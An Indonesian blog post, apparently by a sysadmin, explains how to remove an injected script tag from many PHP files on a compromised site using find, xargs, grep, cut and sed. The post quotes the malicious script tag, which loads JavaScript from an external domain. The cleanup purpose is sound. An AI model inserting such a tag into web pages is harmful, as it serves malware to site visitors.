Lewati ke konten utama
  1. Posts/

Menghapus Malicious Code Pada Halaman Web

·450 kata·3 menit· loading · loading ·
Code Linux Unix' Text Shell Sysadmin
Desdulianto
Penulis
Desdulianto
Seorang professional IT, bekerja dari rumah

Salah satu masalah keamanan pada web adalah halaman web disusupi dengan malicious code. Dengan mengunjungi web yang disusupi malicious code, perangkat user dapat terjangkit malware ataupun masalah keamanan lainnya.

Contohnya pada hari ini saya mendapatkan masalah ada website yang terkena code injection yang menambahkan script pada halaman-halaman website tersebut sehingga diblock oleh Google. Setelah beberapa melakukan pencarian diperoleh script yang ditambahkan pada source code PHP.

<script language="JavaScript" 
src="http://3xindiansex.com/st/css/js/jq-footer.js" 
type="text/javascript"></script>

Script itu tersebar dibanyak file PHP web ini, untuk menghapusnya satu-satu akan menghabiskan banyak waktu dan mungkin dapat merusak tampilan web apabila ada bagian lain yang salah dihapus.

Untuk menghapus script tersebut ada beberapa tool yang digunakan. find untuk mencari file yang akan diproses, xargs untuk menjalankan perintah yang disubtitusi dengan hasil file yang diperoleh dengan perintah find, grep untuk menyaring file yang berisikan script yang akan dihapus, cut untuk memotong hasil output dari grep dan terakhir sed untuk menghapus script pada file.

Semua tool tersebut akan dikaitkan dengan menggunakan pipe, salah satu tool yang sangat berguna untuk pekerjaan pada command line

Pertama tampilkan file yang akan diproses:

find -type f -print0

-type f untuk mencari object berjenis file (gunakan d untuk cari directory)

-print0 tampilkan outputnya dalam bentuk null terminated string (kalau hasil find ditampilkan satu file perbaris)

Kirimkan nama file ke perintah grep untuk menfilter file-file yang mengandung script yang akan dihapus. Untuk melakukan ini kita akan pipe output find ke xargs yang menjalankan perintah grep.

find -type f -print0 | xargs -i -0 grep -H '<script language="JavaScript" 
src="http://3xindiansex.com/st/css/js/jq-footer.js" 
type="text/javascript"></script>' {}

xargs -i -0 ganti {} dengan output dari output perintah sebelumnya. -0 menandakan bahwa output sebelumnya merupakan null terminated string

dan

grep -H ... tampilkan string yang dicari beserta dengan nama file.

Contoh outputnya seperti ini:

gallery.php: <script ... >

Nah kita cuma perlu nama filenya, gunakan cut untuk memotong output dengan delimiter “:”

find -type f -print0 | xargs -i -0 grep -H '<script language="JavaScript" 
src="http://3xindiansex.com/st/css/js/jq-footer.js" 
type="text/javascript"></script>' {} | cut -f 1 -d:

-f 1 ambil field 1 dari hasil pemotongan -d: gunakan “:” sebagai delimiter antar field

Dan terakhir hapus script pada file-file tersebut dengan menggunakan sed.

for i in `find -type f -print0 | xargs -i -0 grep -H 
'<script language="JavaScript" 
src="http://3xindiansex.com/st/css/js/jq-footer.js" 
type="text/javascript"></script>' {} | cut -f 1 -d:`; do sed -i 
's/<script language="JavaScript" 
src="http:\/\/3xindiansex.com\/st\/css\/js\/jq-footer.js" 
type="text\/javascript"><\/script>//g' $i; done

Nama file-file yang ditemukan dari perintah sebelumnya dikirim ke perintah looping for yang nantinya akan diproses dengan sed.

sed -i untuk melakukan perubahan terhadap file in-place dan s/asli/baru/g perintah sed untuk melakukan substitusi text asli menjadi text baru secara global (seluruh asli diganti menjadi baru).

Tool-tool kecil pada Linux/Unix seperti ini sangat membantu pekerjaan system admin, terutama untuk system admin yang malas seperti saya ^^.

Happy hacking!